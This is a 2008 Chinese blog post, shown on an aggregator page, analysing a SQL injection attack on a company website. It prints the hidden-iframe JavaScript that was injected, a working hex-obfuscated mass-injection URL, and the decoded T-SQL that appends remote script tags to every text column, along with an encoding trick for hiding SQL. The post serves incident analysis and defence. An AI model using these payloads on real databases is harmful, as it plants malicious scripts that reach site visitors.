惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

爱范儿
爱范儿
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
WordPress大学
WordPress大学
Y
Y Combinator Blog
I
InfoQ
美团技术团队
罗磊的独立博客
B
Blog RSS Feed
GbyAI
GbyAI
小众软件
小众软件
IT之家
IT之家
Engineering at Meta
Engineering at Meta
Blog — PlanetScale
Blog — PlanetScale
V
V2EX
Last Week in AI
Last Week in AI
酷 壳 – CoolShell
酷 壳 – CoolShell
Jina AI
Jina AI
MyScale Blog
MyScale Blog
博客园 - 聂微东
Microsoft Security Blog
Microsoft Security Blog
博客园 - 【当耐特】
Apple Machine Learning Research
Apple Machine Learning Research
The GitHub Blog
The GitHub Blog
T
The Blog of Author Tim Ferriss

博客园 - openkava

我的天涯助手V1 微软asp.net 2.0 rdlc报表发布到虚拟主机上 - openkava 自用aspx小工具 cmd.aspx v1.2 aspx最小代码连接数据库 数据库连接字符串 - openkava - 博客园 Jquery 使用笔记1 - openkava - 博客园 c# aspx 动态编译文件模板 - openkava c# 乱码解决方法 - openkava - 博客园 test zz巧用三个SQL视图查出所有的数据库字典 01 DiscuzNT1.0安装 编写的一个简单的ashx小程序 用bat文件搞定文件的备份 zz习惯的力量:35岁以前养成好习惯 竟然有免费送书的好事啊 Log4Net 使用心得 .net remoting 传递令牌 zz一篇很好的编码原理的文章 comesmith 4.1 试用笔记-
恶意脚本代码分析 - openkava - 博客园
openkava · 2008-07-07 · via 博客园 - openkava

    近日公司网站不小心被sql注入攻击了,详细分析如下
1 现象:打开网页,FF出现提示有不安全代码,查看后确认调用了外部恶意网站的javascript脚本。
2 打开数据库,发现数据库的文本字段都加了  <script src=‘http://www.cntrl62.com/b.js’> </script>
该脚本代码如下:
window.status="";
var cookieString = document.cookie;
var start = cookieString.indexOf("updngg=");
if (start != -1){}else{
var expires = new Date();
expires.setTime(expires.getTime()+11*3600*1000);
document.cookie = "updngg=update;expires="+expires.toGMTString();
try{
document.write("<iframe src=http://portwbr.com/cgi-bin/index.cgi?ad width=0 height=0 frameborder=0></iframe>");
}
catch(e)
{
};
}

3 该脚本执行javascript后,自动写入 iframe ,且设置该窗口为不可见。这里面可以执行任意的恶意脚本或下载病毒等,还好只是弹出广告窗口。
4 该脚本如何注入,通过sql没有检查参数,写入sql语句。

http://xxx.com/x.asp?id=54;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E626E726164642E6D6F62692F6E67672E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);

通过sql analyzer 分析,可以得出该sql语句。
DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.upcomd.com/ngg.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

通过循环查找每个表的varchar ,text ,char 字段,在后面加入 " <script src=http://www.upcomd.com/ngg.js></script>" 字符串。

该脚本执行后调用的页面还采用了js加密调用里面的内容。

Code



--设置存储过程为二进制字符串
DECLARE  @S  VARCHAR(4000);
set @s='declare @s varchar(4000);set @s=''hello,my hack'';print @s';
print cast( @s as varbinary(8000))

5  解决方法: 删除所有数据库的字符串。 增加sql注入预防。